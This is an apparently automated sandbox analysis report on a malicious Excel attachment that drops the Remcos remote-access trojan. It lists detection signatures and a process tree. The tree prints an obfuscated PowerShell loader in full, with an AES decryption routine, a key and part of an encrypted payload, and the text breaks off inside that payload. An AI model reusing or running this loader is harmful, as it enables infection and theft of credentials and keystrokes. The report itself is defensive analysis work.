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Windows
Analysis Report
Purchase Inquiry.xla.xlsx
Overview
General Information
Detection
Remcos
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for dropped file
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Microsoft Office launches external ms-search protocol handler (WebDAV)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Sigma detected: Remcos
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
C2 URLs / IPs found in malware configuration
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Delayed program exit found
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Machine Learning detection for sample
Microsoft Office drops suspicious files
Obfuscated command line found
Office drops RTF file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Office viewer loads remote template
Shellcode detected
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Uses dynamic DNS services
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Document contains embedded VBA macros
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found URL in obfuscated visual basic script code
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Excel Network Connections
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w7x64
- EXCEL.EXE (PID: 2872 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) - dllhost.exe (PID: 1652 cmdline:
C:\Windows \system32\ DllHost.ex e /Process id:{F97175 07-6651-4E DB-BFF7-AE 615179BCCF } MD5: A8EDB86FC2A4D6D1285E4C70384AC35A) - WINWORD.EXE (PID: 1788 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\WINWOR D.EXE" -Em bedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5) - EQNEDT32.EXE (PID: 1652 cmdline:
"C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8) - wscript.exe (PID: 1216 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\creat eactiveima gesbeautyg irlf.vBS" MD5: 979D74799EA6C8B8167869A68DF5204A) - powershell.exe (PID: 1416 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command ( ('((e4jfun ction Decr ypt-AESEnc ryption {P aram([Stri ng]TMIBase 64Text,[St ringe4j+e4 j]TMIKey)T MIe4j+e4ja esManaged = New-Obje ct System. See4j+e4jc urity.Cryp tography.A esManaged; TMIa'+'esM anagee4j+e 4'+'jd.Mod ee4j+e4j = [Syse4j+' +'e4jtem.S ecurity.Cr yptoge4j+e 4jraphy.e4 j+e'+'4jCi e4'+'j+e4j pherMode]: :CBC;TMIae sManaged.' +'Pae4j+e4 jddin'+'g = [System. Security.C ryptograph y.PaddingM ode]::Zero s;TMIaesMa naged.Bloc kSiz'+'e = 128;TMIae sManaged.K eySize = 2 56;'+'TMIa esManagee4 j+'+'e4jd. Key = ('+' New-Object e4'+'j+e4j System.Se curity.Cry ptography. SHA256Mana ged).Compu teHash([Sy ste'+'m.Te xt.Encodin g]::UTF8.G ee4j+e4jtB ytes(TMIKe y));TMIcip herBytes = [Syst'+'e m.Convert] ::FromBase 64String(T MIBase64Te xt);TMIaes Managed.IV '+'= TMIc ipherBytes [0..15];TM Idecryptor = TMIaesM anaged.Cre ateDecrypt or();TMIde cryptedByt es = TMIde cryptor.Tr ansformFin '+'alBlock (TMIcipher Bytes, 16, TMIcipher Bytes.Leng th - 16);e 4j+e4jTMIa e'+'sManag ed.D'+'isp ose('+');r eturn [Sys tem.Text.E ncoding]:: UTF8.GetSt ring'+'(TM Idecry'+'p tedBytes). Tre4j+e4ji m([char]0) ;}TMIchave = CnI3104 5819173442 7452102260 27008389Cn Ie4j+e4j;T MItextoCri ptogr'+'af adoBase4j+ e4je64 = ' +'CnIgROti j99MoqAl/1 G6M0vqbtZN qaPOCvjW7w dfeQ2dm55M RRbSDL2dTj prdiVH4QRo 9tuowqh9VU VcWHVl7wdp ldrVYCVSlB SHKYYtX3y3 EC19QGlIL2 fuyXvSxhXz rCpIXVHSex gj/ylJqNpM qCRbGFmQ7b 0X+QTYTuCc qP+5yOBN4O 6atlPw9w8p PhK9OTe6qU 1yD4u4I80C m5MU98/PR4 +8ywARZuaK E5pEc8m1O4 Ku1/SjPgmL SinIDTNFga go2s309DvI v/fkTnnaxJ JczMR5wDbQ ltFtGUCrdE GLC3QBCwcP MgT1xJ0gL7 Ve4guK6HuD NkBARVx6IE 3AsAcjSL8u N9O0YKkXZE yQFJY1x6z5 q3ahy4Xxle r3uLigmmxV v2bdi4UGe5 zCCvgmZwAl k6A/59+vdp W/EApuL514 /a+Us8piX4 u0JPOtD/FD vCmST/nbK2 n2paq0EHKx XMwpkzKA1e +BUpnxwXJr fWegtDerIV zkg4xcqmje /DZ1H6Bw6v Of7gbPCwnF hiOKYIlAUd EBwJQtctWr QXdrXo3BEI BT1iE51b3O jwza1v/g2n 2T89FWu55U x7+dXeIf/O 2oMp2w4BJQ AWnE2xjfpM i8oCUaCfhI MYRUWU1jgq QLc20g1WDp rYvcHmu/6W CfwKaZBxu2 z+Dc8hoJbl kIz6G02yRy V03HspeACr W1WOgOWNnx 9NyLIR6QGy ZDyySjqrZg vZX2eD0jEY /V4HSH4zkw VsY3946yvC ZswuFKgBbC PhD+J/kkL8 2M6ZPLi5i+ j/So2Di9yY 5G1LQWpa/f 21tFFWNALS nPpWZdIwDA Ugc2jlgpS7 d7owMPgN6m z5coCsW9NZ 1UoebwAvfa X+oRKQ5t4P fHDWuSPgE1 KN0mwHl53H cv2snX7vYY fSpZT6NkY+ +2xTpeXo+w xcnj2u+K0v mB0GqKc/f4 jAuzCGMbcb LLRbx1LnOg RNjOWQZO7t wOygr6YzL5 MR1KK76WIX LJPTrooLwx OcbA09by8F 2V9p+AZjUT mbcGHANFII QjyWDooeg0 zffos+sGI2 tr+sGif31X ZRdk5TGul9 q7WHoMauH7 x8xeSJY8ba 38e/dCsFUM yBE7HV40jA XlGVJ3rxJI 2PNkH2P8jP lmKDcONW2R maifAYWeGM RGhTt4k1or KVFZi3eJD4 zgS2+RDViM cp4NNW8SVq hy+EqIQx/8 s1JDCT0kgY Ff8i88r+i3 XTRgoU+2my Son8QoxRya 6lglkmbykE hjvoCPgXrC ea62Jbr2po